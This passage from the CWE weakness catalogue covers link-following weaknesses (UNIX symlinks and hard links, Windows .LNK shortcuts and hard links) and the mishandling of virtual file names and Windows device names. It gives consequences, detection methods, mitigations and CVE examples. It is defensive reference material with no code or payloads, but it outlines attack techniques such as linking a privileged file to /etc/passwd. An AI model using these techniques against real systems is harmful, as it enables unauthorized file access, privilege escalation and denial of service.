Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Sometimes)*

Operating_System : Unix *(Prevalence = Often)*

Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

Alternate Terms

insecure temporary file : Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Read Files or Directories Modify Files or Directories Bypass Protection Mechanism *An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.*	
Other	Execute Unauthorized Code or Commands *Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-1999-1386	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386*
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1178*
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0217*
CVE-2003-0517	Symlink attack allows local users to overwrite files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0517*
CVE-2004-0689	Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0689*
CVE-2005-1879	Second-order symlink vulnerabilities *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1879*
CVE-2005-1880	Second-order symlink vulnerabilities *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1880*
CVE-2005-1916	Symlink in Python program *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1916*
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972*
CVE-2005-0824	Signal causes a dump that follows symlinks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824*
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1494*
CVE-2002-0793	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0793*
CVE-2003-0578	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0578*
CVE-1999-0783	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0783
CVE-2004-1603	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1603*
CVE-2004-1901	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1901*
CVE-2005-1111	Hard link race condition *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1111*
CVE-2000-0342	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342*
CVE-2001-1042	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042*
CVE-2001-1043	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043*
CVE-2005-0587	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587*
CVE-2001-1386	".LNK." - .LNK with trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386*
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233*
CVE-2002-0725	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725*
CVE-2003-0844	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0844*

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896

Nature	Type	ID	Name	V	Page
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948

Notes

Relationship

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations. Some potential factors are race conditions, permissions, and predictability.

Research Gap

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Link Following
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources
CERT C Secure Coding	POS01-C		Check for the existence of links when dealing with files
SEI CERT Perl Coding Standard	FIO01-PL	CWE More Specific	Do not operate on files that can be modified by untrusted users
Software Fault Patterns	SFP18		Link in resource name resolution

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
35	Leverage Executable Code in Non-Executable Files
76	Manipulating Web Input to File System Calls
132	Symlink Attack

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-61: UNIX Symbolic Link (Symlink) Following

Weakness ID : 61 **Status:** Incomplete
Structure : Composite
Abstraction : Compound

Description

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Composite Components

Nature	Type	ID	Name	Page
Requires	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793

Nature	Type	ID	Name	Page
Requires	C	340	Generation of Predictable Numbers or Identifiers	752
Requires	B	386	Symbolic Name not Mapping to Correct Object	844
Requires	C	732	Incorrect Permission Assignment for Critical Resource	1367

Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	106

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Symlink following :

symlink vulnerability :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/ links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-1999-1386	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386*
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1178*
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0217*
CVE-2003-0517	Symlink attack allows local users to overwrite files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0517*
CVE-2004-0689	Possible interesting example *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0689*
CVE-2005-1879	Second-order symlink vulnerabilities *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1879*
CVE-2005-1880	Second-order symlink vulnerabilities *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1880*
CVE-2005-1916	Symlink in Python program *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1916*
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972*
CVE-2005-0824	Signal causes a dump that follows symlinks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824*

Notes

Research Gap

Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported. "Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX symbolic link following

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
27	Leveraging Race Conditions via Symbolic Links

References

[REF-493]Steve Christey. "Second-Order Symlink Vulnerabilities". Bugtraq. 2005 June 7. < http://www.securityfocus.com/archive/1/401682 >.

[REF-494]Shaun Colley. "Crafting Symlinks for Fun and Profit". Infosec Writers Text Library. 2004 April 2. < http://www.infosecwriters.com/texts.php?op=display&id=159 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-62: UNIX Hard Link

Weakness ID : 62 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	106

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Unix *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1494*
CVE-2002-0793	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0793*
CVE-2003-0578	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0578
CVE-1999-0783	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0783*
CVE-2004-1603	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1603*
CVE-2004-1901	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1901*
CVE-2005-0342	The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0342*
CVE-2005-1111	Hard link race condition *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1111*
BUGTRAQ:20030203 ASA-0001	OpenBSD chpass/chfn/chsh file content leak *http://www.securityfocus.com/archive/1/309962*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948

Notes

Research Gap

Under-studied. It is likely that programs that check for symbolic links could be vulnerable to hard links.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX hard link
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-64: Windows Shortcut Following (.LNK)

Weakness ID : 64 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	106

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Alternate Terms

Windows symbolic link following :

symlink :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-2000-0342	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342*
CVE-2001-1042	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042
CVE-2001-1043	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043*
CVE-2005-0587	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587*
CVE-2001-1386	".LNK." - .LNK with trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386*
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948

Notes

Research Gap

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows Shortcut Following (.LNK)
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

CWE-65: Windows Hard Link

Weakness ID : 65 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the

file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	106

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-2002-0725	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725*
CVE-2003-0844	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0844*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948

Notes

Research Gap

Under-studied

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows hard link
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID : 66 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
ParentOf	V	67	Improper Handling of Windows Device Names	120
ParentOf	V	69	Improper Handling of Windows ::DATA Alternate Data Stream	122
ParentOf	V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path	124

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Virtual Files

CWE-67: Improper Handling of Windows Device Names

Weakness ID : 67 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

Extended Description

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	118

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

Observed Examples

Reference	Description
CVE-2002-0106	Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0106*
CVE-2002-0200	Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0200*
CVE-2002-1052	Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1052*
CVE-2001-0493	Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0493*
CVE-2001-0558	Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0558*
CVE-2000-0168	Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0168*
CVE-2001-0492	Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0492*
CVE-2004-0552	Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0552*
CVE-2005-2195	Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2195*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
